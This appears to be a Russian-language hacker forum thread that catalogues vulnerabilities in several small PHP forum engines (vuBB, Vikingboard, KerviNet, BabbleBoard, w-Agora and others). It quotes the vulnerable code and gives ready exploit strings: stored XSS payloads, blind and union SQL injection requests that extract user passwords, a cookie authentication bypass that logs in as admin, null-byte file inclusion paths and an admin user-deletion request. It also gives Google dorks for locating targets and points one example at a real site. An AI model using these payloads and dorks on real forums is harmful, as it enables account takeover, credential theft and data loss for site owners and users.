vuBB 0.2.2 Beta Vendor: vubb.net Active XSS Есть возможность указать URL удаленной аватарки. Вставляем вместо адреса код: Code: javascript:eval(String.fromCharCode(97,108,101,114,116,40,120,115,115,41,59)) Dork: "Copyright 2005-2006 vuBB" (с) iddqd
PowerBB 2.2.1 PowerBB 2.2.1 Сайт: http://powerwd.com/ Cтарый проект (2006 год), который собрались реанимировать http://www.powerwd.com/forum/view_topic.php?id=868 SQL-injection Уязвимый код: register.php PHP: . . . else if (isset($_POST['form_sent'])) { . . . if(isset($_COOKIE["forumreferrer"])) { $referral_id = $_COOKIE["forumreferrer"]; $result = $db->query('SELECT referral_count FROM '.$db->prefix.'users WHERE id='.$referral_id) or error('Invalid Member ID', __FILE__, __LINE__, $db->error()); . . . Переменная forumreferrer из куки не фильтруется. Инъекцию можно провести при регистрации нового пользователя Эксплуатация: Например отправляем пакет:
///////////////////////// Vikingboard 0.1.2 _http://vikingboard.com ///////////////////////// Файл с данными для подключения к бд: /inc/drivers/sql/driver_MySQL.php Структура базы: PHP: `PREFIX|member` `id` int(11) NOT NULL auto_increment, `name` varchar(50) default NULL, `password` varchar(50) default NULL, `email` varchar(50) default NULL, Директории доступные на запись: /cache/ SQL - инъекция /members.php PHP: if (empty($_POST['order'])) { $DESC = 'DESC'; } else { $DESC = $_POST['order']; } /inc/drivers/sql/sql_MySQL.php PHP: function get_member_list($order, $desc, $showfrom, $total) { $this->database->query("SELECT m.`id`, m.`name`, m.`posts`, m.`registred`, m.`homepage`, m.`title`, m.`group`, g.`g_name` FROM {$this->prefix}member m, {$this->prefix}group g WHERE g.`id` = m.`group` ORDER BY m.`{$order}` {$desc} LIMIT {$showfrom},{$total}"); $this->queries++; return $this->database; } Пример эксплоита: Code: POST /vig/members.php HTTP/1.0 User-Agent: Opera/9.63 (Windows NT 5.1; U; ru) Presto/2.1.1 Host: localhost Accept: text/html order=and if(ord(substring((select password from vboard_member where id=2),1,1))>5,1,(select id from vboard_pm))/* Актив XSS /post_parser.php PHP: //BBCode for images $post = preg_replace("#\[img\]([^\"']+?)\[/img\]#is", "<img src=\"$1\" alt=\"\" />", $post); Code: [#img=javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))]loleg![/img#] склеил с предыдущим постом Дорк: "Powered by Vikingboard"
KerviNet forum v 1.1 KerviNet forum v 1.1 dork: "Copyright KerviNet" Blind SQLinj & Auth Bypass /index.php PHP: if($_COOKIE['user_enter']=="auto") { $enter_login=$_COOKIE['enter_login']; $enter_parol=$_COOKIE['enter_parol']; $mysql->query("SELECT name, pass, status FROM users WHERE name = '".$enter_login."' AND pass = '".$enter_parol."'"); exploit: Code: COOKIE: user_enter=auto COOKIE: enter_login = abc COOKIE: enter_parol = ' or name = (select name from users where id_user=1) and '1'='1'; sqlQuery: SELECT name, pass, status FROM users WHERE name = 'abc' AND pass = '' or name = (select name from users where id_user<10 limit 1) и вы автоматом зайдете под админом, даже не зная его имени (: SQLinj /message.php PHP: 9: $topic=$_GET['topic']; 18: if($topic) { 69: $mysql->query("SELECT name, viewing, voting, status, top_status, id_forum FROM topics WHERE id_topic = ".$topic); exploit: Code: /message.php?topic=-1+union+select+1,concat_ws(0x3a,id_user,name,pass,email),3,4,5,6+from+users SiXSS magic_quotes = Off /message.php exploit: Code: /message.php?topic=-1+union+select+1,'{XSS}',3,4,5,6+from+users aXSS /add_voting.php PHP: 22: $topic=$_GET['topic']; 61: if($topic) { 66: $forum_edit->add_voting($time, $topic, $v_vopros, $variants); 74: } function add_voting($time, $topic, $v_vopros, $variants) { global $user; global $user_ip; if($user) { global $mysql; $mysql->query("UPDATE topics SET voting = 1 WHERE id_topic = ".$topic); $mysql->query("INSERT INTO v_name VALUES (0, '".$v_vopros."', ".$topic.")"); $id_vname=mysql_insert_id(); for($i=0; $i<count($variants); $i+=1) { $vr_nom=$i+1; $mysql->query("INSERT INTO v_variants VALUES (".$vr_nom.", '".$variants[$i]."', ".$id_vname.")"); } } return $id_vname; } exploit: Code: /add_voting.php?topic=1 POST: add_voting = ok_add POST: v_vopros = v POST: v_variant1 = {XSS} POST: v_variant2 = v2 удаление пользователей /admin/edit_user.php PHP: $del_user_id=$_POST['del_user_id']; $mysql->query("DELETE FROM users WHERE id_user = ".$del_user_id); exploit: Code: POST: del_user_id=(select user_id from users limit 1) Full path disclosure Code: /include_files/voting_diagram.php /include_files/voting.php /include_files/topics_search.php /include_files/topics_list.php /include_files/top_part.php /include_files/quick_search.php /include_files/quick_reply.php /include_files/moder_menu.php /include_files/messages_list.php /include_files/menu.php /include_files/head.php /include_files/forums_list.php /include_files/forum_statistics.php /include_files/forum_info.php /include_files/birthday.php /admin/head.php
Pehota_Forum v2.0b Активная XSS Сообщения,Уязвимое поле Тема посылаем сообщение любому пользователю, в поле Тема указываем <script>alert(/hiho/)</script> и при получение сообщения высвечивается alert ЗЫ еще есть активка при создание новой темы в самом форуме , но из за if (strlen($topic) > 25 and $topic != "") ограничения в 25 символов не возможно ее реализовать в целом,тока <script>alert()</script>
BabbleBoard 1.1.6 Сайт: http://www.babbleboard.co.uk/ Табличка с юзерами: members (name, password) Дефолтовый префикс: babbleboard_ дорк: "Powered by BabbleBoard" Гугл выдал пару xss и csrf. Если я набоянил тут – сори Множественные LFI’и , вот некоторые mycontrols.php ( нужно быть зарегенным ) PHP: include "includes/pages/mycontrols/" . $_GET['act'] . ".php"; index.php?page=mycontrols&act=../../../../robots.txt%00 admin.php ( нужно быть админом) PHP: include "includes/pages/admin/" . $_GET['act'] . ".php"; index.php?page=admin&act= ../../../../robots.txt%00 header.php PHP: if (isset($_COOKIE['bb_lang']) && (!isset($_COOKIE['bb_name']))) { $board_lang = $_COOKIE['bb_lang']; // Get language files... include "lang/$board_lang/lang_forum.php"; Редактируем куки bb_lang=../../../../../robots.txt%00 structure.php PHP: $page = $_GET['page']; $page = escape_string($page); elseif (@include ("includes/pages/$page.php")) site.com/forum/index.php?page=../../../../robots.txt/././.[...] Пример: http://else-design.info/forum/index.php?page=../../../../robots.txt/././././.[...]/./. SQL-injection При меджик_квотес офф Уязвимый код: register.php PHP: } elseif ($_POST['form'] != '') { $query_email = "select EMAIL from {$db_prefix}members WHERE EMAIL='".$_POST['email']."'"; $result_email = mysql_query($query_email) or die("register.php - Error in query: $query_email"); $email_clash = mysql_num_rows($result_email); Эксплуатировать инъекцию можно при регистрации, вставляя свой скл-код в поле email. Правда там есть такой злобный жаваскриптовский фильтр, который не даст нам зарегится, пока мы не удовлетворим его условия. В частности он проверяет чтобы был символ @ и не было запятых =) Можно отправить пакет вручную или состряпать например такой няшный запрос, чтобы обойтись без запятых
w-Agora forum Web site : http://www.w-agora.com Version : 4.2.1 Local File Inclusion Vuln file: globals.inc [str:169] PHP: /*...*/ if (isset($_GET['lang']) ) { $lang = strtolower($_GET['lang']); } elseif (isset($_POST['lang'])) { $lang = $_POST['lang']; } elseif (isset($_COOKIE['wa_lang'])) { $lang = $_COOKIE['wa_lang']; } elseif (isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ) { $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); } elseif (isset($_COOKIE['lang'])) { $lang = strtolower($_COOKIE['lang']); } /*...*/ require ("$lang_dir/lang_$lang.inc"); /*...*/ Exploit: if magic_quotes = OFF Code: GET http://[COLOR=White][host][/COLOR]/[COLOR=White][path][/COLOR]/index.php HTTP/1.0 Cookie: lang=[COLOR=White]/../../../../../../[/COLOR][COLOR=Green][local_file][/COLOR][COLOR=White]%00[/COLOR] ------------------------------------------- w-Agora <= 4.2.1 (cat) Remote SQL Injection Vulnerability